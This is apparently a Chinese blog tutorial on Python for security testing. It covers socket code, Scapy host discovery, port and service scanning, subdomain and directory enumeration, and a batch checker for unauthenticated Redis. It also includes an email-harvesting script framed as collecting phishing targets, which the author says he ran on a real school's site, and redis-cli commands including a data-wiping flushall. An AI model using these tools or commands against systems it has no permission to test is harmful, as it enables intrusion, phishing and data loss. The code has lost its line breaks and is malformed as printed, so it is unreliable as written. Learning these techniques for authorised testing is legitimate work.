Python安全攻防-从入门到入狱
居家隔離閑著無聊
思來想去決定寫篇關(guān)于【Python攻防】\color{blue}{【Python攻防】}【Python攻防】專欄
沒辦法-越🥦越想學(xué)
網(wǎng)上有《Python安全攻防》📕
想深入學(xué)習(xí)的👦可以買
我沒買–畢竟我喜歡白嫖🤪
- ?前言?
- 國家網(wǎng)絡(luò)安全法
- 🌋正文🌋
- 一、Socket網(wǎng)絡(luò)編程
- TCP
- UDP
- 二、Scapy網(wǎng)絡(luò)嗅探
- TCP發(fā)送數(shù)據(jù)
- 基于ICMP協(xié)議的存活主機(jī)探測
- 基于TCP/UDP的主機(jī)發(fā)現(xiàn)
- 基于ARP協(xié)議的主機(jī)發(fā)現(xiàn)
- 三、信息搜集
- IP查詢
- Whois查詢
- 子域名挖掘
- 郵件爬取
- 端口掃描
- 服務(wù)識別
- 系統(tǒng)識別
- 敏感目錄探測
- 四、網(wǎng)絡(luò)空間搜索引擎
- Zoomeye(鐘馗之眼)
- 調(diào)用ZoomEye(鐘馗之眼)的API接口實(shí)現(xiàn)自動化信息搜集
- Shodan
- 調(diào)用Shodan的API接口實(shí)現(xiàn)自動化信息搜集
- 小結(jié)🌇
- 五、漏洞檢測與防御
- Redis未授權(quán)訪問漏洞
- Python批量檢測Redis未授權(quán)訪問漏洞
- 漏洞防御與檢測
- 六、數(shù)據(jù)加密
- Python實(shí)現(xiàn)DES加解密
- Python實(shí)現(xiàn)AES加解密
- Python實(shí)現(xiàn)MD5加密
- 七、身份認(rèn)證
- Python社工字典生成
- Python后臺弱口令爆破
- SSH暴力破解
- FTP暴力破解
- 八、Fuzz測試
- Python繞過安全狗
- 九、Scapy進(jìn)劫
- ARP毒化
- Dos
- 數(shù)據(jù)鏈路層Dos-MAC泛洪攻擊
- 網(wǎng)絡(luò)層Dos-死亡之Ping
- 傳輸層Dos-SYN拒絕服務(wù)攻擊
- 應(yīng)用層Dos-Slowloris攻擊
- 防御策略
- 十、完結(jié)
?前言?
- 隨著近幾年互聯(lián)網(wǎng)的發(fā)展,Python在各行各業(yè)發(fā)揮著舉足輕重的作用。除應(yīng)用在科學(xué)計算、大數(shù)據(jù)處理等人們熟知的領(lǐng)域外,在信息安全領(lǐng)域中使用也異常廣泛。這是因為對于滲透測試工程師來說Python語言不僅上手容易,而且還有大量豐富的開源庫。通過Python可以幫助他們又好又快的完成一項任務(wù),以少量的代碼便可實(shí)現(xiàn)所需功能。從而借助Python打造更安全的💻。
國家網(wǎng)絡(luò)安全法
敲重點(diǎn)👉中華人民共和國網(wǎng)絡(luò)安全法👈建議倒背如流
🌋正文🌋
一、Socket網(wǎng)絡(luò)編程
網(wǎng)絡(luò)調(diào)試助手:https://pan.baidu.com/s/1Do-v8XMDaIYJsXRQok5RhQ 提取碼:ya4g (便于測試)
??套接字(Socket)是計算機(jī)之間進(jìn)行通信的一種約定。通過Socket,一臺計算機(jī)可以接受其他計算機(jī)的數(shù)據(jù),也可以向其他計算機(jī)發(fā)送數(shù)據(jù)。遠(yuǎn)程管理軟件和黑客軟件大多依賴于Socket來實(shí)現(xiàn)特定功能的,其包括兩個部分:運(yùn)行于服務(wù)器端稱之為ServerSocket,運(yùn)行于客戶機(jī)端稱之ClientSocket。
TCP
TCP是因特網(wǎng)中的傳輸層協(xié)議,使用三次握手協(xié)議建立連接。
TCP_Client.py
import socketdef main():# 創(chuàng)建TCP套接字tcp_client_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)# 服務(wù)器地址sever_ip = input("請輸入服務(wù)器ip:")sever_port = input("請輸入服務(wù)器端口:")# 連接服務(wù)器(元組)tcp_client_socket.connect((sever_ip,int(sever_port)))# 輸入發(fā)送的數(shù)據(jù)data = input("請輸入要發(fā)送的數(shù)據(jù):")# 發(fā)送數(shù)據(jù)tcp_client_socket.send(data.encode("utf-8"))#接收數(shù)據(jù)recv_data = tcp_client_socket.recv(1024)print("對方的回復(fù):"recv_data.decode("utf-8"))if __name__ == '__main__':main()nc -lvp 8888 監(jiān)聽8888端口
(一次完整對話)
TCP_Sever.py
UDP
UDP 為應(yīng)用程序提供了一種無需建立連接就可以發(fā)送封裝的 IP 數(shù)據(jù)包的方法。
UDP_Client_send.py
import socket #創(chuàng)建udp套接字 udp_socket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) # 目標(biāo)ip和端口 target_addr = ('192.168.12.128',8888)#獲取數(shù)據(jù) data = input("請輸入要發(fā)送的數(shù)據(jù):")#發(fā)送數(shù)據(jù) udp_socket.sendto(data.encode('utf-8'),target_addr)udp_socket.close()UDP_Client_receive.py
import socket #創(chuàng)建udp套接字 udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)local_addr=('192.168.12.128',8888) #綁定ip(必須本地)和端口 udp_socket.bind(local_addr)#等待接受對方發(fā)送的數(shù)據(jù) recv_data = udp_socket.recvfrom(1024) #表示本次接受的最大字節(jié)數(shù)1024# 顯示接受的數(shù)據(jù) print(recv_data[0].decode('utf-8')) udp_socket.close()liunx等待接受數(shù)據(jù)->win10發(fā)送數(shù)據(jù)->liunx成功接收數(shù)據(jù)
nc -ulp 8888 監(jiān)聽udp模式下的8888端口
私密聊天室
# UDP應(yīng)用-私密聊天室(極簡) import socketdef send(chat_ip,chat_port):udp_socket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)"""發(fā)送消息"""address = (chat_ip,int(chat_port))print(address)data = input("請輸入發(fā)送的消息:")udp_socket.sendto(data.encode("utf-8"),address)def receive():"""接收消息"""udp_socket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)# 綁定本地IP和端口udp_socket.bind(("192.168.12.1",8888))recv_data = udp_socket.recvfrom(1024)print(recv_data[0].decode('utf-8'))def main():chat_ip = input("請輸入您聊天對方IP地址:")chat_port = input("請輸入您聊天對方端口:")# 循環(huán)調(diào)用while True:print("++++++歡迎進(jìn)入私密聊天室++++++")print("0:發(fā)送消息")print("1:接收消息")print("2:退出聊天")function = input("請輸入您要用的模塊")if function == "0":send(chat_ip,chat_port)elif function == "1":receive()elif function == "2":breakelse:print("輸入有誤,請重新輸入")if __name__ == '__main__':main()二、Scapy網(wǎng)絡(luò)嗅探
Scapy是一個可以讓用戶發(fā)送、偵聽和解析并偽裝網(wǎng)絡(luò)報文的Python程序。這些功能可以用于制作偵測、掃描和攻擊網(wǎng)絡(luò)的工具
pip install scapy 安裝scapy
pip install ipython安裝交互式shell
??Scapy是一個強(qiáng)大的交互式包操作程序。它能夠偽造或解碼大量協(xié)議的數(shù)據(jù)包,在網(wǎng)絡(luò)上發(fā)送它們,捕獲它們,匹配請求和響應(yīng),等等。Scapy可以輕松地處理大多數(shù)經(jīng)典任務(wù),如掃描、跟蹤、探測、單元測試、攻擊或網(wǎng)絡(luò)發(fā)現(xiàn)。它可以代替hping、arpsoof、arp-sk、arping、p0f甚至Nmap、tcpdump和tshark的某些部分
TCP發(fā)送數(shù)據(jù)
TCPsend.py
# -- coding: utf-8 -- import time import threading import sys from scapy.all import *# 數(shù)據(jù)包應(yīng)用層數(shù)據(jù)部分 data = 'flag{flag_is_not_here}'# src:源地址 、sport:源端口、dst:目標(biāo)地址、dport:目標(biāo)端口 pkt = IP(src='192.168.12.128', dst='192.168.12.166') / TCP(sport=4444, dport=6666) / data# 間隔一秒發(fā)送一次 總共發(fā)送5次 發(fā)送網(wǎng)卡口(iface):eth0 send(pkt, inter=1, count=5, iface="eth0")基于ICMP協(xié)議的存活主機(jī)探測
??ICMP協(xié)議是一種面向無連接的協(xié)議,用于傳輸出錯報告控制信息。它是一個非常重要的協(xié)議,它對于網(wǎng)絡(luò)安全具有極其重要的意義。 屬于網(wǎng)絡(luò)層協(xié)議,主要用于在主機(jī)與路由器之間傳遞控制信息,包括報告錯誤、交換受限控制和狀態(tài)信息等。當(dāng)遇到IP數(shù)據(jù)無法訪問目標(biāo)、IP路由器無法按當(dāng)前的傳輸速率轉(zhuǎn)發(fā)數(shù)據(jù)包等情況時,會自動發(fā)送ICMP消息。
判斷是否為活躍主機(jī),只需要向其發(fā)送一個ICMP請求,如果這臺主機(jī)處于活躍狀態(tài),那么它在收到這個請求之后就會給出一個回應(yīng)。
# -- coding: utf-8 -- from scapy.all import * # 構(gòu)造IP包頭構(gòu)造ICMP包頭加載發(fā)送數(shù)據(jù)包函數(shù)for i in range(1,254): # 整個個網(wǎng)段ip="192.168.12."+str(i) # 設(shè)置IP地址pkt=IP(dst=ip,src="192.168.12.128")/ICMP(type="Echo-request") #ICMP包的類型為Echo request——回顯請求(Ping請求)rep=sr1(pkt,timeout=1,verbose=False) # 發(fā)送和接受數(shù)據(jù)包,超時時間為1秒,設(shè)置無過程回顯。# 如果該數(shù)據(jù)包有回應(yīng)則輸出if rep:print("The " + rep[IP].src + " is live")基于TCP/UDP的主機(jī)發(fā)現(xiàn)
基于TCP、UDP的主機(jī)發(fā)現(xiàn)屬于四層主機(jī)發(fā)現(xiàn)是一個位于傳輸層的協(xié)議。可以用來探測遠(yuǎn)程主機(jī)存活、端口開放、服務(wù)類型以及系統(tǒng)類型等信息,相比于三層主機(jī)發(fā)現(xiàn)更為可靠用途更廣.
TCP
工作原理主要依據(jù)目標(biāo)主機(jī)響應(yīng)數(shù)據(jù)包中flags字段,如果flags字段有值,則表示主機(jī)存活,該字段通常包括SYN、FIN、ACK、PSH、RST、URG六種類型。SYN表示建立連接,FIN表示關(guān)閉連接,ACK表示應(yīng)答,PSH表示包含DATA數(shù)據(jù)傳輸,RST表示連接重置,URG表示緊急指針。
UDP
UDP是向目標(biāo)主機(jī)一個沒有開放的端口發(fā)送數(shù)據(jù),目標(biāo)主機(jī)會返回一個目的端口不可達(dá)的ICMP報文,以此來判斷主機(jī)是否在線。如果主機(jī)不在線,或者目標(biāo)端口開放,UDP探測是不會收到響應(yīng)包的。
wireshark攔截
基于ARP協(xié)議的主機(jī)發(fā)現(xiàn)
地址解析協(xié)議,即ARP,是根據(jù)IP地址獲取物理地址的一個TCP/IP協(xié)議。主機(jī)發(fā)送信息時將包含目標(biāo)IP地址的ARP請求廣播到局域網(wǎng)絡(luò)上的所有主機(jī),并接收返回消息,以此確定目標(biāo)的物理地址;收到返回消息后將該IP地址和物理地址存入本機(jī)ARP緩存中并保留一定時間,下次請求時直接查詢ARP緩存以節(jié)約資源。
ARP
對以太網(wǎng)內(nèi)的每個主機(jī)都進(jìn)行ARP請求。若主機(jī)存活,則會響應(yīng)我們的ARP請求,否則不會響應(yīng).因為ARP涉及網(wǎng)絡(luò)層和數(shù)據(jù)鏈路層所以需要使用Scapy中的Ether和ARP。
三、信息搜集
IP查詢
IP查詢是通過當(dāng)前所獲取到的URL去查詢對應(yīng)IP地址的過程。可以應(yīng)用Socket庫函數(shù)中的gethostbyname()獲取域名所對應(yīng)的IP值°
import socket domain = input("請輸入要查詢的域名:") ip = socket.gethostbyname(domain) print("IP地址為:",ip)Whois查詢
whois模塊查詢域名www.baidu.com的注冊信息
pip install python-whois 安裝模塊
from whois import whois data = whois('www.baidu.com') print(data)子域名挖掘
域名可以分為頂級域名、—級域名、二級域名等。子域名(subdomam)是頂級域名(一級域名或父域名)的下—級。例如mail.example.com和calendar.example.com是example.com的兩個子域,而example.com則是頂級域.com的子域。在測試過程中測試目標(biāo)主站時如果未發(fā)現(xiàn)任何相關(guān)漏洞,此時通常會考慮??目標(biāo)系統(tǒng)的子域名。子域名??方法有很多種,例如,搜索引擎、子域名破解、字典查詢等。
import requests from bs4 import BeautifulSoup from urllib.parse import urlparse import sys def bing_search(site,pages):Subdomain = []headers = { #HTTP Headers是HTTP請求和相應(yīng)的核心,它承載了關(guān)于客戶端瀏覽器,請求頁面,服務(wù)器等相關(guān)的信息'User-Agent': 'Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36', #是HTTP協(xié)議中的一部分,屬于頭域的組成部分,是一種向訪問網(wǎng)站提供你所使用的瀏覽器類型、操作系統(tǒng)及版本、CPU 類型、瀏覽器渲染引擎、瀏覽器語言、瀏覽器插件等信息的標(biāo)識'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',#屬于請求報頭,代表發(fā)送端(客戶端)希望接受的數(shù)據(jù)類型'Referer': "https://cn.bing.com", #表示一個來源}for i in range(1,int(pages)+1):url = "https://cn.bing.com/search?q=site%3a"+site+"&go=Search&qs=ds&first="+ str((int(i)-1)*10) +"&FORM=PERE"html = requests.get(url,headers=headers) #獲取HTML網(wǎng)頁,對應(yīng)HTTP的GETsoup = BeautifulSoup(html.content,'html.parser')job_bt = soup.findAll('h2') #返回一個包含HTML文檔標(biāo)題標(biāo)簽h2的列表for i in job_bt:link = i.a.get('href')domain = str(urlparse(link).scheme + "://" +urlparse(link).netloc) #儲存子域名if domain in Subdomain:passelse:Subdomain.append(domain)print(domain) if __name__ == '__main__':if len(sys.argv) == 3:site = sys.argv[1]page = sys.argv[2]else:print("usage: %s baidu.com 10" % sys.argv[0]) #輸出幫助信息sys.exit(-1)Subdomain = bing_search(site,page)python Subdomain.py baidu.com 20 數(shù)字20表示獲取Ping引擎頁數(shù)
力推👉?在線子域名查詢👈?
郵件爬取
??在針對目標(biāo)系統(tǒng)進(jìn)行滲透的過程中,如果目標(biāo)服務(wù)器安全性很高,通過服務(wù)器很難獲取目標(biāo)權(quán)限時,通常會采用社工的方式對目標(biāo)服務(wù)進(jìn)行進(jìn)一步攻擊🤺。針對搜索界面的相關(guān)📩信息進(jìn)行爬取、處理等操作之后。利用獲得的📫賬號批量發(fā)送🎣📩,誘騙、欺詐目標(biāo)用戶或管理員進(jìn)行賬號登錄或點(diǎn)擊執(zhí)行,進(jìn)而獲取目標(biāo)系統(tǒng)的其權(quán)限。
import sys import getopt import requests from bs4 import BeautifulSoup import re#主函數(shù),傳入用戶輸入的參數(shù) def start(argv):url = ""pages = ""if len(sys.argv) < 2:print("-h 幫助信息;\n")sys.exit()#定義異常處理try:banner()opts,args = getopt.getopt(argv,"-u:-p:-h")except getopt.GetoptError:print('Error an argument!')sys.exit()for opt,arg in opts:if opt == "-u":url = argelif opt == "-p":pages = argelif opt == "-h":print(usage())launcher(url,pages)#banner信息 def banner():print('\033[0;31;42m 爬蟲不控頻,親人兩行淚 \033[0m')#使用規(guī)則 def usage():print('-h: --help 幫助;')print('-u: --url 域名;')print('-p: --pages 頁數(shù);')print('eg: python -u "www.baidu.com" -p 100' + '\n')sys.exit()#漏洞回調(diào)函數(shù) def launcher(url,pages): #調(diào)用bing_search()和baidu_search()函數(shù)并且將bing爬到的和baidu爬到的合并去重email_num = []key_words = ['email','mail','mailbox','郵件','郵箱','postbox']for page in range(1,int(pages)+1):for key_word in key_words:bing_emails = bing_search(url,page,key_word)baidu_emails = baidu_search(url,page,key_word)sum_emails = bing_emails + baidu_emailsfor email in sum_emails:if email in email_num:passelse:print(email)with open('data.txt','a+') as f:f.write(email + '\n')email_num.append(email)#bingSearch def bing_search(url,page,key_word): #繞過Bing搜索引擎反爬(校驗referer和cookie)referer = "http://cn.bing.com/search?q=email+site%3abaidu.com&qs=n&sp=-1&pq=emailsite%3abaidu.com&first=1&FORM=PERE1"conn = requests.session()bing_url = "https://cn.bing.com/search?q="+key_word+"site%3a"+url+"&qs=n&sp=-1&pq="+key_word+"site%3a"+url+"&first="+str((page-1)*10)+"&FORM=PERE1"conn.get('http://cn.bing.com',headers=headers(referer))r = conn.get(bing_url,stream=True,headers=headers(referer),timeout=8)emails = search_email(r.text)return emails#baiduSearch def baidu_search(url,page,key_word): #繞過百度搜索引擎的反爬(JS請求鏈)email_list = []emails = []referer = "https://www.baidu.com/s?wd=email+site%3Abaidu.com&pn=1"baidu_url = "https://www.baidu.com/s?wd="+key_word+"+site%3A"+url+"&pn="+str((page-1)*10)conn = requests.session()conn.get(referer,headers=headers(referer))r = conn.get(baidu_url, headers=headers(referer))soup = BeautifulSoup(r.text, 'lxml')tagh3 = soup.find_all('h3')for h3 in tagh3:href = h3.find('a').get('href')try:r = requests.get(href, headers=headers(referer),timeout=8)emails = search_email(r.text)except Exception as e:passfor email in emails:email_list.append(email)return email_listdef search_email(html):emails = re.findall(r"[a-z0-9\.\-+_]+@[a-z0-9\.\-+_]+\.[a-z]+",html,re.I) #正則表達(dá)式獲取郵箱號碼return emailsdef headers(referer):headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36','Accept': '*/*','Accept-Language':'en-US,en;q=0.5','Accept-Encoding':'gzip,deflate','Referer':referer}return headersif __name__ == '__main__':#定義異常try:start(sys.argv[1:])except KeyboardInterrupt:print("interrupted by user,killing all threads...")試了下某學(xué)校網(wǎng)站,爬到不少
溜了溜了🎿🎿
端口掃描
import socket import threadingdef main(target):print('開始掃描---')for port in range(1,65535):t = threading.Thread(target=hackport,args=(target,port))t.start()def hackport(target,port):try:res = socket.socket(socket.AF_INET,socket.SOCK_STREAM)res.connect((target,port)) #雙括號元組print("%s:%d 端口開放"%(target,port))res.close()except:passif __name__ == '__main__':target= input("請輸入要掃描的IP:")main(target)print('***掃描完畢***')內(nèi)網(wǎng)靶機(jī)
nmap -sV -p- 192.168.12.134
服務(wù)識別
from optparse import OptionParser import time import socket import os import reSIGNS = (# 協(xié)議 | 版本 | 關(guān)鍵字b'FTP|FTP|^220.*FTP',b'MySQL|MySQL|mysql_native_password',b'oracle-https|^220- ora',b'Telnet|Telnet|Telnet',b'Telnet|Telnet|^\r\n%connection closed by remote host!\x00$',b'VNC|VNC|^RFB',b'IMAP|IMAP|^\* OK.*?IMAP',b'POP|POP|^\+OK.*?',b'SMTP|SMTP|^220.*?SMTP',b'Kangle|Kangle|HTTP.*kangle',b'SMTP|SMTP|^554 SMTP',b'SSH|SSH|^SSH-',b'HTTPS|HTTPS|Location: https',b'HTTP|HTTP|HTTP/1.1',b'HTTP|HTTP|HTTP/1.0', ) def regex(response, port):text = ""if re.search(b'<title>502 Bad Gateway', response):proto = {"Service failed to access!!"}for pattern in SIGNS:pattern = pattern.split(b'|')if re.search(pattern[-1], response, re.IGNORECASE):proto = "["+port+"]" + " open " + pattern[1].decode()breakelse:proto = "["+port+"]" + " open " + "Unrecognized"print(proto)def request(ip,port):response = ''PROBE = 'GET / HTTP/1.0\r\n\r\n'sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.settimeout(10)result = sock.connect_ex((ip, int(port)))if result == 0:try:sock.sendall(PROBE.encode())response = sock.recv(256)if response:regex(response, port)except ConnectionResetError:passelse:passsock.close()def main():parser = OptionParser("Usage:%prog -i <target host> ") # 輸出幫助信息parser.add_option('-i',type='string',dest='IP',help='specify target host') # 獲取ip地址參數(shù)parser.add_option('-p', type='string', dest='PORT', help='specify target host') # 獲取ip地址參數(shù)options,args = parser.parse_args()ip = options.IPport = options.PORTprint("Scan report for "+ip+"\n")for line in port.split(','):request(ip,line)time.sleep(0.2)print("\nScan finished!....\n")if __name__ == "__main__":try:main()except KeyboardInterrupt:print("interrupted by user, killing all threads...")系統(tǒng)識別
根據(jù)按照目標(biāo)主機(jī)返回的響應(yīng)數(shù)據(jù)包中的TTL值來判斷操作系統(tǒng)類型的原理
from optparse import OptionParser import os import redef main():parser = OptionParser("Usage:%prog -i <target host>")parser.add_option('-i', type='string', dest='IP', help='specify target host')options, args = parser.parse_args()ip = options.IPttl_scan(ip)def ttl_scan(ip):ttlstrmatch = re.compile(r'ttl=\d+') #正則匹配取出TTL值ttlnummatch = re.compile(r'\d+')result = os.popen("ping -c 1 "+ip) # 調(diào)用os.popen()函數(shù)執(zhí)行ping命令res = result.read()for line in res.splitlines():result = ttlstrmatch.findall(line)if result:ttl = ttlnummatch.findall(result[0])if int(ttl[0]) <= 64: # ttl值小于等于64時,操作系統(tǒng)為linux系統(tǒng)print("%s is Linux/Unix" % ip)else: #否則就是windowsprint("%s is Windows" % ip)breakelse:passif __name__ == '__main__':main()敏感目錄探測
#-*- coding:utf-8 -*- import requestsheaders = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0" } url = input("url: ") txt = input('字典.txt') # 同級目錄下的字典 url_list = [] if txt == "":txt = "字典.txt" try:with open(txt, 'r') as f:url_list = f.read().split('\n') except:print("error")for li in url_list:conn = "http://"+ url + "/" + litry:response = requests.get(conn, headers=headers)print("%s --------------- %s" % (conn, response))except:# print("%s --------------- %s" % (conn, e.code))pass四、網(wǎng)絡(luò)空間搜索引擎
平常用fofa,不過貌似最近攤上事了,域名被列入了黑名單
搜索引擎是指從互聯(lián)網(wǎng)搜集信息,經(jīng)過一定整理以后,提供給用戶進(jìn)行查詢的系統(tǒng)傳統(tǒng)搜索引擎對我們來說并不陌生,像Google、百度等,每天我們幾乎都會用它們來搜索消息。與傳統(tǒng)搜索引擎相比,網(wǎng)絡(luò)空間搜索引擎有很大不同,其搜索目標(biāo)為全球的IP地址,實(shí)時掃描互聯(lián)網(wǎng)和解析各種設(shè)備,對網(wǎng)絡(luò)中的設(shè)備進(jìn)行探測識別和指紋分析,并將其掃描的目標(biāo)信息進(jìn)行分布式存儲,供需求者檢索使用。傳統(tǒng)的網(wǎng)絡(luò)空間搜索模型框架一般由五部分組成:掃描和指紋識別、分布存儲、索引、UI界面以及調(diào)度程序。
??網(wǎng)絡(luò)空間搜索引擎🕷?能夠幫助安全研究人員針對APT組織、攻擊方式等情況進(jìn)行分析;對于公司安全管理人員🧑?💻,能夠幫助他們進(jìn)行網(wǎng)絡(luò)資產(chǎn)匹配、安全評估等;對于安全白帽子,能夠幫助滲透測試人員在與目標(biāo)非交互的情況下搜集信息,例如,搜索資產(chǎn)、系統(tǒng)類型,開放端口等。
Quake網(wǎng)絡(luò)空間測繪系統(tǒng)(360)
資產(chǎn)狩獵框架-AssetsHunter
Censys搜索引擎
Zoomeye(鐘馗之眼)
Shodan(撒旦)
Zoomeye(鐘馗之眼)
?? Zoomeye支持公網(wǎng)設(shè)備指紋檢索和Web指紋檢索。Web指紋識別包括應(yīng)用名版本、前端框架、后端框架、服務(wù)端語言、服務(wù)器操作系統(tǒng)、網(wǎng)站容器、內(nèi)容管理系統(tǒng)和數(shù)據(jù)庫等。設(shè)備指紋識別包括應(yīng)用名、版本、開放端口、操作系統(tǒng)、服務(wù)名、地理位置等,直接輸人關(guān)鍵詞即可開始檢索。
設(shè)備檢索指紋語法| app:組件名 | 組件名稱 | app:“Apache httpd” |
| ver:組件版本 | 組件的版本號 | ver:“2.2.16” |
| port:端口號 | 目標(biāo)系統(tǒng)開放端口 | port:3389 |
| os:操作系統(tǒng) | 目標(biāo)操作系統(tǒng)類型 | os:linux |
| service:服務(wù)名 | 系統(tǒng)運(yùn)行的服務(wù)類型 | service:“ssh” |
| hostname:主機(jī)名 | 目標(biāo)系統(tǒng)的主機(jī)名 | hostname:google.com |
| country:國家或者地區(qū)代碼 | 目標(biāo)系統(tǒng)的地理位置 | country:US |
| city:城市名稱 | 目標(biāo)系統(tǒng)所在城市 | city:“beijing” |
| ip:指定的IP地址 | 目標(biāo)系統(tǒng)對應(yīng)的IP地址 | ip:8.8.8.8 |
| org:組織結(jié)構(gòu) | 所屬的組織結(jié)構(gòu) | org:“Vimpelcom” |
| asn:自治系統(tǒng)號 | 自治系統(tǒng)編號 | asn:42839 |
| ssl:SSL證書 | SSL證書 | ssl:“corp.google.com” |
| app:組件名 | 組件名稱 | app:“Apache httpd” |
| ver:組件版本 | 組件的版本號 | ver:“2.2.16” |
| site:網(wǎng)站域名 | 目標(biāo)網(wǎng)站域名 | site:google.com |
| os:操作系統(tǒng) | 目標(biāo)操作系統(tǒng)類型 | os:linux |
| title:頁面標(biāo)題 | 網(wǎng)站標(biāo)題 | site:Nginx |
| kewords:頁面關(guān)鍵字 | 網(wǎng)站頁面關(guān)鍵字 | keywords:Nginx |
| desc:頁面說明 | 頁面描述字段 | desc:Nginx |
| headers:請求頭部 | HTTP請求中的Headers | headers:Server |
| country:國家或者地區(qū)代碼 | 目標(biāo)系統(tǒng)的地理位置 | country:US |
| city:城市名稱 | 目標(biāo)系統(tǒng)所在城市 | city:“beijing” |
| ip:指定的IP地址 | 目標(biāo)系統(tǒng)對應(yīng)的IP地址 | ip:8.8.8.8 |
| org:組織機(jī)構(gòu) | 所屬的組織機(jī)構(gòu) | org:“Vimpelcom” |
| asn:自治系統(tǒng)號 | 自治系統(tǒng)編號 | asn:42839 |
調(diào)用ZoomEye(鐘馗之眼)的API接口實(shí)現(xiàn)自動化信息搜集
ZoomEye-API 分為兩種驗證方式,API-KEY 和登錄驗證
ZoomEye API手冊
curl -X POST https://api.zoomeye.org/user/login -d '{"username": "28********@qq.com","password": "123456"}'
使用host方法,查詢開放6379端口的服務(wù)器IP地址,并打印出檢索到的lP地址和端口號
Shodan
??Shodan主要獲取互聯(lián)網(wǎng)中設(shè)備中的服務(wù)、位置、端口、版本等信息,目前比較受歡迎的內(nèi)容有webcam、linksys、 cisco、 nctgear、SCADA等。通過不同的搜索語法可以做到批量搜索漏洞主機(jī)、統(tǒng)計中病毒主機(jī)、進(jìn)行弱口令爆破、獲取shell等功能。
Shoda常用語法| city:城市名稱 | 城市 | city:“beijing” |
| country:國家或者地區(qū)代碼 | 國家的簡稱 | countIy:“CN” |
| geo:經(jīng)緯度 | 經(jīng)緯度 | geo:“46.9481,7.4474” |
| hostname:主機(jī)名 | 主機(jī)名或域名 | hostname:“baidu” |
| ip:IP地址 | IP地址 | ip:“11.11.11.11” |
| isp: ISP供應(yīng)商 | ISP供應(yīng)商 | isp:“China Telecom” |
| org:組織或者公司 | 組織或者公司 | org:“baidu” |
| os:操作系統(tǒng) | 操作系統(tǒng) | os:Windows 7 or 8 |
| port:端口號 | 端口號 | port:80 |
| net:CIDR格式的IP地址 | CIDR格式的IP地址 | net:“190.30.40.0/24” |
| versjon:軟件版本號 | 軟件版本 | version:“4.4.2” |
| vuln:漏洞編號 | 漏洞CVE編號 | vuln:CVE-2020-0787 |
| http.server:服務(wù)類型 | http請求返回中server的類型 | http.server:apache |
| http.status:請求狀態(tài)碼 | http請求返回響應(yīng)碼的狀態(tài) | http.stams:200 |
調(diào)用Shodan的API接口實(shí)現(xiàn)自動化信息搜集
使用Python去調(diào)用Shodan的API接口可以實(shí)現(xiàn)自動化信息搜集,首先需要注冊🧑,在MyAccount中可以👁?APIKey.
Shodan API官方文檔
小結(jié)🌇
??作為滲透測試的👻-信息搜集,信息搜集的完整性決定了你滲透測試的結(jié)果.工欲其事,必先利其器。讓Python完全替代現(xiàn)有的滲透測試工具不太現(xiàn)實(shí),但可以讓我們更好的理解我們當(dāng)今大多數(shù)滲透測試工具的原理,為我們以后??????工具打下基礎(chǔ)。
五、漏洞檢測與防御
Redis未授權(quán)訪問漏洞
??未授權(quán)訪問漏洞可以理解為安全配置、權(quán)限認(rèn)證、授權(quán)頁面存在缺陷,導(dǎo)致其他用戶🧑可以直接訪問🔎,從而引發(fā)權(quán)限可被操作數(shù)據(jù)庫、網(wǎng)站目錄等敏感信息泄露。目前存在未授權(quán)訪問漏洞的服務(wù)主要包括:NFS、 Samba、LDAP、Rsync、FTP、GitLab、Jenkms、MongoDB、Redis、ZooKeeper、ElasticSearch、Memcache、CouchDB、Docker、Solr、Hadoop等。
通過手工🛠進(jìn)行未授權(quán)訪問驗證,在安裝Redis服務(wù)的Kall系統(tǒng)中連接?,如果目標(biāo)系統(tǒng)存在未授權(quán)訪問漏洞,則可以成功連接?
redis-cli -h 192.168.12.128 在本地搭建的redis漏洞環(huán)境
keys * 查看key和其對應(yīng)的值
get user 獲取用戶名
get password 獲取登錄指令
flushall 刪除所有數(shù)據(jù)
info 返回關(guān)于 Redis 服務(wù)器的各種信息和統(tǒng)計數(shù)值
Python批量檢測Redis未授權(quán)訪問漏洞
import sys import socket ''' socket連接遠(yuǎn)程主機(jī)的IP及端口號,發(fā)送info命令.利用recvdata()函數(shù)接收目標(biāo) 主機(jī)返回的數(shù)據(jù),當(dāng)時返回的數(shù)據(jù)含有'redis verslon'字符串時,表明存在未授權(quán)訪問漏 洞,否則不存在. ''' # 隨便找了幾個ip測試下 with open('redis.txt',"r") as f:url= f.read()def main():for ip in url.split():s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.settimeout(1) # 限制超時1秒s.connect((ip,6379))s.send('INFO\r\n'.encode('utf-8')) # info命令返回服務(wù)器版本recv_data= s.recv(1024) if "redis_version" in recv_data.decode('utf-8'):print(ip+":存在Redis未授權(quán)訪問漏洞")else:passs.close()f.close() if __name__ == '__main__':main()
????????????
漏洞防御與檢測
Redis未授權(quán)訪問漏洞產(chǎn)生的危害??????很大,甚至可以批量獲取目標(biāo)系統(tǒng)的權(quán)限,有必要針對該漏洞進(jìn)行嚴(yán)格限制和防御。針對該漏洞的防御方式有很多,下面是常見的🛡?🛡?🛡?方式:
1??禁止遠(yuǎn)程使用高危命令。
2??低權(quán)限運(yùn)行Redis服務(wù)。
3??禁止外網(wǎng)訪問Redis。
4??阻止其他用戶👤添加新的公鑰,將authorized-keys的權(quán)限設(shè)置為對擁有者只讀。
六、數(shù)據(jù)加密
根據(jù)明文處理方式的不同分為序列密碼與分組密碼,根據(jù)密鑰🔑的使用個數(shù)不同分為對稱加密算法和非對稱加密算法.
常見的對稱加密算法包括DES、AES等
Python實(shí)現(xiàn)DES加解密
通過Cryptodome庫函數(shù)實(shí)現(xiàn)對字符串進(jìn)行DES加解密。由于DES為分組密碼的加密方式,其工作模式有五種: ECB、CBC、CTR、CFB、OFB
